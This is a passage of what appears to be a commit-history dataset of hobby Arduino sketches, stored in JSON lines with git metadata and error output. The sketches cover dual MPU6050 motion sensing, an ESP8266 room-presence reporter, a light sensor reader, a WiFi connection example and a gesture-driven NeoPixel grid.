y, z] world-frame accel sensor measurements\nVectorFloat gravity1; \/\/ [x, y, z] gravity vector\nfloat euler1[3]; \/\/ [psi, theta, phi] Euler angle container\nfloat ypr1[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\n\n\n\/\/ packet structure for InvenSense teapot demo\nuint8_t teapotPacket[14] = { '$', 0x02, 0,0, 0,0, 0,0, 0,0, 0x00, 0x00, '\\r', '\\n' };\n\n\n\n\/\/ ================================================================\n\/\/ === INTERRUPT DETECTION ROUTINE ===\n\/\/ ================================================================\n\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\nvoid dmpDataReady() {\n mpuInterrupt = true;\n}\n\n\n\n\/\/ ================================================================\n\/\/ === INITIAL SETUP ===\n\/\/ ================================================================\n\nvoid setup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n TWBR = 24; \/\/ 400kHz I2C clock (200kHz if CPU is 8MHz)\n #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n #endif\n\n \/\/ initialize serial communication\n \/\/ (115200 chosen because it is required for Teapot Demo output, but it's\n \/\/ really up to you depending on your project)\n Serial.begin(115200);\n while (!Serial); \/\/ wait for Leonardo enumeration, others continue immediately\n\n \/\/ NOTE: 8MHz or slower host processors, like the Teensy @ 3.3v or Ardunio\n \/\/ Pro Mini running at 3.3v, cannot handle this baud rate reliably due to\n \/\/ the baud timing being too misaligned with processor ticks. You must use\n \/\/ 38400 or slower in these cases, or use some kind of external separate\n \/\/ crystal solution for the UART timer.\n\n \/\/ initialize device\n Serial.println(F(\"Initializing I2C devices...\"));\n mpu.initialize();\n mpu1.initialize();\n \n \/\/ verify connection\n Serial.println(F(\"Testing device connections...\"));\n Serial.println(mpu.testConnection() ? F(\"MPU6050 connection successful\") : F(\"MPU6050 connection failed\"));\n\n \/\/ wait for ready\n Serial.println(F(\"\\nSend any character to begin DMP programming and demo: \"));\n while (Serial.available() && Serial.read()); \/\/ empty buffer\n while (!Serial.available()); \/\/ wait for data\n while (Serial.available() && Serial.read()); \/\/ empty buffer again\n\n \/\/ load and configure the DMP\n Serial.println(F(\"Initializing DMP...\"));\n devStatus = mpu.dmpInitialize();\n devStatus1 = mpu1.dmpInitialize();\n\n \/\/ supply your own gyro offsets here, scaled for min sensitivity\n mpu.setXGyroOffset(220);\n mpu.setYGyroOffset(76);\n mpu.setZGyroOffset(-85);\n mpu.setZAccelOffset(1788); \/\/ 1688 factory default for my test chip\n\n mpu1.setXGyroOffset(220);\n mpu1.setYGyroOffset(76);\n mpu1.setZGyroOffset(-85);\n mpu1.setZAccelOffset(3000); \n \n \/\/ make sure it worked (returns 0 if so)\n if (devStatus == 0) {\n \/\/ turn on the DMP, now that it's ready\n Serial.println(F(\"Enabling DMP...\"));\n mpu.setDMPEnabled(true);\n mpu1.setDMPEnabled(true);\n \n \/\/ enable Arduino interrupt detection\n Serial.println(F(\"Enabling interrupt detection (Arduino external interrupt 0)...\"));\n attachInterrupt(0, dmpDataReady, RISING);\n \n mpuIntStatus = mpu.getIntStatus();\n mpu1IntStatus1 = mpu1.getIntStatus();\n \n \/\/ set our DMP Ready flag so the main loop() function knows it's okay to use it\n Serial.println(F(\"DMP ready! Waiting for first interrupt...\"));\n dmpReady = true;\n\n \/\/ get expected DMP packet size for later comparison\n packetSize = mpu.dmpGetFIFOPacketSize();\n packetSize1 = mpu1.dmpGetFIFOPacketSize();\n \n } else {\n \n \/\/ ERROR!\n \/\/ 1 = initial memory load failed\n \/\/ 2 = DMP configuration updates failed\n \/\/ (if it's going to break, usually the code will be 1)\n Serial.print(F(\"DMP Initialization failed (code \"));\n Serial.print(devStatus);\n Serial.println(F(\")\"));\n }\n\n \/\/ configure LED for output\n pinMode(LED_PIN, OUTPUT);\n}\n\n\n\n\/\/ ================================================================\n\/\/ === MAIN PROGRAM LOOP ===\n\/\/ ================================================================\n\nvoid loop() {\n \/\/ if programming failed, don't try to do anything\n if (!dmpReady) return;\n\n \/\/ wait for MPU interrupt or extra packet(s) available\n while (!mpuInterrupt && fifoCount < packetSize) {\n \/\/ other program behavior stuff here\n \/\/ .\n \/\/ .\n \/\/ .\n \/\/ if you are really paranoid you can frequently test in between other\n \/\/ stuff to see if mpuInterrupt is true, and if so, \"break;\" from the\n \/\/ while() loop to immediately process the MPU data\n \/\/ .\n \/\/ .\n \/\/ .\n }\n\n \/\/ reset interrupt flag and get INT_STATUS byte\n mpuInterrupt = false;\n mpuIntStatus = mpu.getIntStatus();\n\n \n \n \/\/ get current FIFO count\n fifoCount = mpu.getFIFOCount();\n fifoCount1 = mpu1.getFIFOCount();\n \n \/\/ check for overflow (this should never happen unless our code is too inefficient)\n if ((mpuIntStatus & 0x10) || fifoCount == 1024) {\n \/\/ reset so we can continue cleanly\n mpu.resetFIFO();\n Serial.println(F(\"FIFO overflow!\"));\n\n \/\/ otherwise, check for DMP data ready interrupt (this should happen frequently)\n } else if (mpuIntStatus & 0x02) {\n \/\/ wait for correct available data length, should be a VERY short wait\n while (fifoCount < packetSize) fifoCount = mpu.getFIFOCount();\n\n \/\/ read a packet from FIFO\n mpu.getFIFOBytes(fifoBuffer, packetSize);\n \n \/\/ track FIFO count here in case there is > 1 packet available\n \/\/ (this lets us immediately read more without waiting for an interrupt)\n fifoCount -= packetSize;\n\n\n \n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);\n Serial.print(\"ypr\\t\");\n Serial.print(ypr[0] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.print(ypr[1] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.print(ypr[2] * 180\/M_PI);\n Serial.print(\"\\t\");\n \n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetAccel(&aa, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\n mpu.dmpGetLinearAccelInWorld(&aaWorld, &aaReal, &q);\n Serial.print(\"aworld\\t\");\n Serial.print(aaWorld.x);\n Serial.print(\"\\t\");\n Serial.print(aaWorld.y);\n Serial.print(\"\\t\");\n Serial.print(aaWorld.z);\n Serial.print(\"\\t\");\n Serial.print(\"\\t\");\n \n \n \n \/\/ read a packet from FIFO\n mpu1.getFIFOBytes(fifoBuffer1, packetSize1);\n \n \/\/ track FIFO count here in case there is > 1 packet available\n \/\/ (this lets us immediately read more without waiting for an interrupt)\n fifoCount1 -= packetSize1;\n\n \n mpu1.dmpGetQuaternion(&q1, fifoBuffer1);\n mpu1.dmpGetGravity(&gravity, &q1);\n mpu1.dmpGetYawPitchRoll(ypr1, &q1, &gravity);\n Serial.print(\"ypr1\\t\");\n Serial.print(ypr1[0] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.print(ypr1[1] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.print(ypr1[2] * 180\/M_PI);\n Serial.print(\"\\t\");\n\n mpu1.dmpGetQuaternion(&q1, fifoBuffer1);\n mpu1.dmpGetAccel(&aa1, fifoBuffer);\n mpu1.dmpGetGravity(&gravity, &q1);\n mpu1.dmpGetLinearAccel(&aaReal1, &aa1, &gravity);\n mpu1.dmpGetLinearAccelInWorld(&aaWorld1, &aaReal1, &q1);\n Serial.print(\"aworld1\\t\");\n Serial.print(aaWorld1.x);\n Serial.print(\"\\t\");\n Serial.print(aaWorld1.y);\n Serial.print(\"\\t\");\n Serial.println(aaWorld1.z);\n\n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_jan02b\/sketch_jan02b.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"87ee78b83982033960f8be2e0f8148fa536c1db2","subject":"Being arduino IDE compliant","message":"Being arduino IDE compliant\n","repos":"perenecabuto\/salalivre,perenecabuto\/salalivre,perenecabuto\/salalivre,perenecabuto\/salalivre,perenecabuto\/salalivre","old_file":"arduino\/src\/salalivre\/salalivre.ino","new_file":"arduino\/src\/salalivre\/salalivre.ino","new_contents":"\/\/ http:\/\/archive.wired.com\/geekdad\/2012\/09\/using-motion-detectors-with-an-arduino\/\n\/\/ https:\/\/github.com\/prampec\/arduino-softtimer\/blob\/wiki\/WhyHow.md\n\/\/ https:\/\/nurdspace.nl\/ESP8266\n\/\/ http:\/\/contractorwolf.com\/esp8266-wifi-arduino-micro\n\/\/ http:\/\/www.instructables.com\/id\/ESP8266-Wifi-Temperature-Logger\/\n\n#include <AltSoftSerial.h>\n#include <SoftTimer.h>\n\nString ID = \"1D\";\nString SSID = \"\";\nString PASS = \"\";\n\nint SERVER_PORT = 5000;\nString SERVER_ADDRESS = \"192.168.23.104\";\nString healthcheckAction = \"GET \/healthcheck\/\" + ID;\nString eventAction = \"POST \/room\/\" + ID + \"\/event\";\n\nint sensor = 2;\nint light = 13;\nbool presenceDetected = false;\n\nAltSoftSerial wifi(8, 9); \/\/ RX, TX\n\nTask wifiTask(30000, sendStatus);\nTask sensorTask(1200, detectPresence);\nTask blinkTask(500, pblink);\n\nvoid setup() {\n pinMode(sensor, INPUT);\n pinMode(light, OUTPUT);\n\n Serial.begin(9600);\n while(!connectWiFi()) {\n Serial.println(\"Retrying connect to network\");\n }\n\n digitalWrite(light, HIGH);\n\n SoftTimer.add(&blinkTask);\n SoftTimer.add(&sensorTask);\n SoftTimer.add(&wifiTask);\n}\n\nboolean toggle = false;\nvoid pblink(Task* me) {\n if (presenceDetected) {\n toggle = !toggle;\n digitalWrite(light, toggle ? LOW : HIGH); \n Serial.print(\"blink \");\n Serial.println(toggle);\n }\n}\n\nvoid detectPresence(Task* me) {\n if (!presenceDetected) {\n presenceDetected = digitalRead(sensor) == HIGH;\n }\n\n Serial.println(presenceDetected ? \"There is something here\" : \"No presence detected\");\n}\n\nvoid sendStatus(Task* me) {\n if (presenceDetected) {\n registerEvent();\n presenceDetected = false;\n } else {\n healthcheck();\n }\n}\n\n\nvoid healthcheck() {\n request(SERVER_ADDRESS, SERVER_PORT, healthcheckAction);\n}\n\nvoid registerEvent() {\n request(SERVER_ADDRESS, SERVER_PORT, eventAction);\n}\n\n\nvoid request(String host, int port, String action) {\n wifi.println(\"AT+CIPSTART=\\\"TCP\\\",\\\"\" + host + \"\\\",\" + port);\n delay(2000);\n if (wifi.find(\"Error\")) {\n Serial.println(\"Connection error\");\n return;\n }\n \n Serial.print(\"Requesting \" + action + \"... \");\n action = action + \" HTTP\/1.0\\r\\n\\r\\n\";\n wifi.print(\"AT+CIPSEND=\");\n delay(100);\n wifi.println(action.length());\n delay(500);\n wifi.println(action);\n delay(1000);\n wifi.println(\"AT+CIPCLOSE\");\n Serial.println(\"ok\");\n wifi.flush();\n}\n\nboolean connectWiFi() {\n wifi.begin(9600);\n\n Serial.print(\"Connecting... \");\n\n wifi.println(\"AT\");\n if (!wifi.find(\"OK\")) {\n Serial.println(\"error connecting module\");\n return false;\n }\n\n wifi.println(\"AT+RST\");\n wifi.println(\"AT+CWMODE=1\");\n delay(500); \/\/delay after mode change\n wifi.println(\"AT+CWJAP_CUR=\\\"\" + SSID + \"\\\",\\\"\" + PASS + \"\\\"\");\n if (wifi.find(\"OK\")) {\n Serial.println(\"error connecting AP\");\n return false;\n }\n\n Serial.println(\"ok\");\n return true;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/src\/salalivre\/salalivre.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b13ec664b461d0338eaae2391de665cb97df8f35","subject":"Initial code commit","message":"Initial code commit\n","repos":"DanNixon\/MonitorAutoBrightness","old_file":"BrightnessController\/BrightnessController.ino","new_file":"BrightnessController\/BrightnessController.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DanNixon\/MonitorAutoBrightness.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"aa7ef7b48007fe75b9fd5371db35b85b8512f8ab","subject":"Create Arduino_CDSSensor.ino","message":"Create Arduino_CDSSensor.ino","repos":"iot-labs\/farm,iot-labs\/farm,iot-labs\/farm,iot-labs\/farm,iot-labs\/farm","old_file":"Platforms\/Arduino\/Arduino_CDSSensor.ino","new_file":"Platforms\/Arduino\/Arduino_CDSSensor.ino","new_contents":"\nvoid setup() \n{\n\n\tSerial.begin(9600); \/\/ \uc2dc\ub9ac\uc5bc \ud1b5\uc2e0\uc744 \uc2dc\uc791. \uc18d\ub3c4\ub294 9600 \uc73c\ub85c \uc124\uc815\n}\n\nvoid loop() \n{\n\n\tint sensorValue = analogRead(A0); \/\/ \uc544\ub0a0\ub85c\uadf8\uac12\uc744 \uc800\uc7a5\n\n\tfloat voltage = sensorValue * (5.0 \/ 1023.0); \/\/ \uc544\ub0a0\ub85c\uadf8 \uac12\uc744 \ubcc0\ud658\n\n\tSerial.println(voltage); \/\/ \uc800\uc7a5\ub41c \uac12\uc744 \ucd9c\ub825\n\n delay(1000); \/\/ 1\ucd08 delay\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Platforms\/Arduino\/Arduino_CDSSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cad02b2d0ae1b15872d3815534cf71cf3469dd3c","subject":"Updated Firmata sketch for cabinet module, copied from firmata repo","message":"Updated Firmata sketch for cabinet module, copied from firmata repo\n","repos":"jsiegmund\/submerged,jsiegmund\/submerged,jsiegmund\/submerged,jsiegmund\/submerged,jsiegmund\/submerged,jsiegmund\/submerged,jsiegmund\/submerged,jsiegmund\/submerged","old_file":"src\/Arduino Sketches\/SubmergedCabinetModule\/SubmergedCabinetModule.ino","new_file":"src\/Arduino Sketches\/SubmergedCabinetModule\/SubmergedCabinetModule.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Sketches\/SubmergedCabinetModule\/SubmergedCabinetModule.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"65f8a7622441690dc52411b9c9f6d99680913bf1","subject":"Add Arduino sketch for Day 15 + 16","message":"Add Arduino sketch for Day 15 + 16\n","repos":"pearlchen\/summer-of-me","old_file":"2014-07-05\/ConnectWithWPA\/ConnectWithWPA.ino","new_file":"2014-07-05\/ConnectWithWPA\/ConnectWithWPA.ino","new_contents":"\/*\n \n This example connects to an unencrypted Wifi network. \n Then it prints the MAC address of the Wifi shield,\n the IP address obtained, and other network details.\n\n Circuit:\n * WiFi shield attached\n \n created 13 July 2010\n by dlf (Metodo2 srl)\n modified 31 May 2012\n by Tom Igoe\n *\/\n #include <WiFi.h>\n\nchar ssid[] = \"GalileoNet\"; \/\/ your network SSID (name) \nchar pass[] = \"12345678\"; \/\/ your network password\nint status = WL_IDLE_STATUS; \/\/ the Wifi radio's status\n\nvoid setup() {\n \/\/Initialize serial and wait for port to open:\n Serial.begin(9600); \n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n \n \/\/ check for the presence of the shield:\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WiFi shield not present\"); \n \/\/ don't continue:\n while(true);\n } \n\n String fv = WiFi.firmwareVersion();\n if( fv != \"1.1.0\" )\n Serial.println(\"Please upgrade the firmware\");\n \n \/\/ attempt to connect to Wifi network:\n while ( status != WL_CONNECTED) { \n Serial.print(\"Attempting to connect to WPA SSID: \");\n Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network: \n status = WiFi.begin(ssid, pass);\n\n \/\/ wait 10 seconds for connection:\n delay(10000);\n }\n \n \/\/ you're connected now, so print out the data:\n Serial.print(\"You're connected to the network\");\n printCurrentNet();\n printWifiData();\n\n}\n\nvoid loop() {\n \/\/ check the network connection once every 10 seconds:\n delay(10000);\n printCurrentNet();\n}\n\nvoid printWifiData() {\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n Serial.println(ip);\n \n \/\/ print your MAC address:\n byte mac[6]; \n WiFi.macAddress(mac);\n Serial.print(\"MAC address: \");\n Serial.print(mac[5],HEX);\n Serial.print(\":\");\n Serial.print(mac[4],HEX);\n Serial.print(\":\");\n Serial.print(mac[3],HEX);\n Serial.print(\":\");\n Serial.print(mac[2],HEX);\n Serial.print(\":\");\n Serial.print(mac[1],HEX);\n Serial.print(\":\");\n Serial.println(mac[0],HEX);\n \n}\n\nvoid printCurrentNet() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print the MAC address of the router you're attached to:\n byte bssid[6];\n WiFi.BSSID(bssid); \n Serial.print(\"BSSID: \");\n Serial.print(bssid[5],HEX);\n Serial.print(\":\");\n Serial.print(bssid[4],HEX);\n Serial.print(\":\");\n Serial.print(bssid[3],HEX);\n Serial.print(\":\");\n Serial.print(bssid[2],HEX);\n Serial.print(\":\");\n Serial.print(bssid[1],HEX);\n Serial.print(\":\");\n Serial.println(bssid[0],HEX);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.println(rssi);\n\n \/\/ print the encryption type:\n byte encryption = WiFi.encryptionType();\n Serial.print(\"Encryption Type:\");\n Serial.println(encryption,HEX);\n Serial.println();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '2014-07-05\/ConnectWithWPA\/ConnectWithWPA.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"f2afbe7d38f4b8363af5b453f230135bc2d1cc3c","subject":"Adding in Example for Neopixel grid","message":"Adding in Example for Neopixel grid\n","repos":"hoverlabs\/hover_arduino,jonco91\/hover_arduino","old_file":"Hover\/examples\/NeoPixelGrid\/neoPixelGrid.ino","new_file":"Hover\/examples\/NeoPixelGrid\/neoPixelGrid.ino","new_contents":"\/\/ NeoPixel Ring simple sketch (c) 2013 Shae Erisson\n\/\/ released under the GPLv3 license to match the rest of the AdaFruit NeoPixel library\n\/\/ Hover example built using the Neopixel Ring as a base.\n\n#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n\/\/ How many NeoPixels are attached to the Arduino?\n#define NUMPIXELS 64\n#define PIN 7\n\n\/\/ When we setup the NeoPixel library, we tell it how many pixels, and which pin to use to send signals.\n\/\/ Note that for older NeoPixel strips you might need to change the third parameter--see the strandtest\n\/\/ example for more information on possible values.\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);\nint delayval = 500; \/\/ delay for half a second\n\n#include <Wire.h>\n#include <Hover.h>\n\n\/\/ pin declarations for Hover\nint ts = 5;\nint reset = 6;\nint circle_count = 999;\n\n\/\/ Enable or disable different modes. Only gestures and taps are enabled by default. \n\/\/ Set the following four options to 0x01 if you want to capture every event. Note that the Serial console will be 'spammy'. \n#define GESTUREMODE 0x01 \/\/0x00 = disable gestures, 0x01 = enable gestures\n#define TOUCHMODE 0x00 \/\/0x00 = disable touch, 0x01 = enable touch \n#define TAPMODE 0x01 \/\/0x00 = disable taps, 0x01 = enable taps, 0x02 = single taps only, 0x03 = double taps only\n#define POSITIONMODE 0x00 \/\/0x00 = disable position tracking, 0x01 = enable position tracking\n\n\/\/ initialize Hover\nHover hover = Hover(ts, reset, GESTUREMODE, TOUCHMODE, TAPMODE, POSITIONMODE); \n\n\/\/ used when printing 3D position coordinates. Using a smaller interval will result in a 'spammy' console. Set to update every 150ms by default. \nlong interval = 10; \nlong previousMillis = 0;\nint light;\n\nvoid setup() {\n Serial.begin(9600);\n delay(2000);\n Serial.println(\"Initializing Hover...please wait.\");\n hover.begin(); \n pixels.begin();\n}\n\nvoid loop() {\n\n \/\/ For a set of NeoPixels the first NeoPixel is 0, second is 1, all the way up to the count of pixels minus one.\n\n unsigned long currentMillis = millis(); \/\/ used for updating 3D position coordinates. Set to update every 150ms by default. \n\n \/\/ read incoming data stream from Hover\n hover.readI2CData();\n \n Gesture g = hover.getGesture();\n Touch t = hover.getTouch();\n Position p = hover.getPosition();\n \n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Touch Example\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n\n if ( t.touchID == 0x03) {\n if (t.touchValue == 0x5) {\n for (int i=0; i<8; i++){ \n pixels.setPixelColor(0+i, pixels.Color(90,0,90));\n pixels.setPixelColor(56+i, pixels.Color(90,0,90)); \n pixels.setPixelColor(7+(i*8), pixels.Color(90,0,90));\n pixels.setPixelColor(0+(i*8), pixels.Color(90,0,90)); \n }\n pixels.show();\n delay(100);\n for (int i=0; i<8; i++){ \n pixels.setPixelColor(0+i, 0);\n pixels.setPixelColor(56+i, 0); \n pixels.setPixelColor(7+(i*8), 0);\n pixels.setPixelColor(0+(i*8), 0); \n } \n pixels.show();\n }\n } else if ( t.touchID == 0x2){ \n if (t.touchValue == 0x1) {\n for (int i = 0; i<8; i++){\n pixels.setPixelColor(24+i, pixels.Color(0,30,10));\n pixels.setPixelColor(32+i, pixels.Color(0,30,10));\n }\n pixels.show();\n delay(100);\n for (int i = 0; i<8; i++){\n pixels.setPixelColor(24+i, 0);\n pixels.setPixelColor(32+i, 0);\n delay(12);\n pixels.show();\n } \n }\n else if (t.touchValue == 0x2) {\n for (int i = 0; i<8; i++){\n pixels.setPixelColor(24+i, pixels.Color(40,0,00));\n pixels.setPixelColor(32+i, pixels.Color(40,0,00));\n }\n pixels.show();\n delay(100);\n for (int i = 0; i<8; i++){\n pixels.setPixelColor(31-i, 0);\n pixels.setPixelColor(39-i, 0);\n delay(12);\n pixels.show();\n }\n } \n else if (t.touchValue == 0x3) {\n for (int i = 0; i<8; i++){\n pixels.setPixelColor(3+(i*8), pixels.Color(50,30,0));\n pixels.setPixelColor(4+(i*8), pixels.Color(50,30,0));\n }\n pixels.show();\n delay(100);\n for (int i = 0; i<8; i++){\n pixels.setPixelColor(59-(i*8), 0);\n pixels.setPixelColor(60-(i*8), 0);\n delay(12);\n pixels.show();\n }\n } \n else if (t.touchValue == 0x4) {\n for (int i = 0; i<8; i++){\n pixels.setPixelColor(3+(i*8), pixels.Color(0,0,30));\n pixels.setPixelColor(4+(i*8), pixels.Color(0,0,30));\n }\n pixels.show();\n delay(100);\n for (int i = 0; i<8; i++){\n pixels.setPixelColor(3+(i*8), 0);\n pixels.setPixelColor(4+(i*8), 0);\n delay(12);\n pixels.show();\n }\n } \n else if (t.touchValue == 0x5) {\n for (int i = 0; i<4; i++){\n pixels.setPixelColor(0+(i*9), pixels.Color(90,0,90));\n pixels.setPixelColor(7+(i*7), pixels.Color(90,0,90)); \n pixels.setPixelColor(63-(i*9), pixels.Color(90,0,90)); \n pixels.setPixelColor(56-(i*7), pixels.Color(90,0,90)); \n pixels.show();\n delay(60); \n }\n pixels.show();\n delay(10);\n for (int i = 0; i<8; i++){\n pixels.setPixelColor(0+(i*9), 0);\n pixels.setPixelColor(7+(i*7), 0); \n pixels.setPixelColor(63-(i*9), 0); \n pixels.setPixelColor(56-(i*7), 0); \n }\n pixels.show();\n } \n }\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Gestures Example\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n\n int r2 = 0;\n int g2 = 0;\n int b2 = 10;\n int x = 0;\n\n \n \n if (g.gestureID == 0x2){\n if (g.gestureValue > 0 && g.gestureValue < 21 && circle_count !=0) {\n \/\/print 0\n circle_count = 0;\n for (int i=0; i<7; i++) {\n for (int j=0; j<4; j++){\n pixels.setPixelColor(2+j+(i*8), 0); \n } \n }\n pixels.show(); \n for (int i=0; i< 4; i++) {\n pixels.setPixelColor(2+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(50+i, pixels.Color(5,5,2));\n }\n for (int i=0; i< 7; i++) { \n pixels.setPixelColor(2+(i*8), pixels.Color(5,5,2)); \n pixels.setPixelColor(5+(i*8), pixels.Color(5,5,2)); \n } \n pixels.show(); \n } else if (g.gestureValue > 20 && g.gestureValue < 46 && circle_count != 1) {\n \/\/print 1\n circle_count = 1;\n for (int i=0; i<7; i++) {\n for (int j=0; j<4; j++){\n pixels.setPixelColor(2+j+(i*8), 0); \n } \n }\n pixels.show(); \n for (int i=0; i< 7; i++) {\n pixels.setPixelColor(5+(8*i), pixels.Color(5,5,2)); \n }\n pixels.show(); \n } else if (g.gestureValue > 45 && g.gestureValue < 71 && circle_count != 2) {\n \/\/print 2\n circle_count = 2;\n for (int i=0; i<7; i++) {\n for (int j=0; j<4; j++){\n pixels.setPixelColor(2+j+(i*8), 0); \n } \n }\n pixels.show(); \n for (int i=0; i< 4; i++) {\n pixels.setPixelColor(2+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(26+i, pixels.Color(5,5,2)); \n pixels.setPixelColor(50+i, pixels.Color(5,5,2));\n pixels.setPixelColor(5+(8*i), pixels.Color(5,5,2));\n pixels.setPixelColor(26+(8*i), 